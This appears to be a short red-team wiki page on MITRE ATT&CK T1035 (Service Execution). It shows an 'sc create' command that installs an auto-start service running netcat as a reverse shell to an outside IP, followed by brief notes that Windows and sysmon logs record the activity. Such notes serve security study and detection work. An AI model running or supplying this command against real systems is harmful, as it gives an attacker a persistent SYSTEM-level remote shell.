Skip to content

T1035: Service Execution

Execution

Creating an evil service with a netcat reverse shell:

{% code-tabs %} {% code-tabs-item title="attacker@victim" %}

C:\> sc create evilsvc binpath= "c:\tools\nc 10.0.0.5 443 -e cmd.exe" start= "auto" obj= "LocalSystem" password= ""
[SC] CreateService SUCCESS
C:\> sc start evilsvc
{% endcode-tabs-item %} {% endcode-tabs %}

Observations

The reverse shell lives under services.exe as expected:

Windows security, application, Service Control Manager and sysmon logs provide some juicy details:

References

{% embed url="https://attack.mitre.org/wiki/Technique/T1035" %}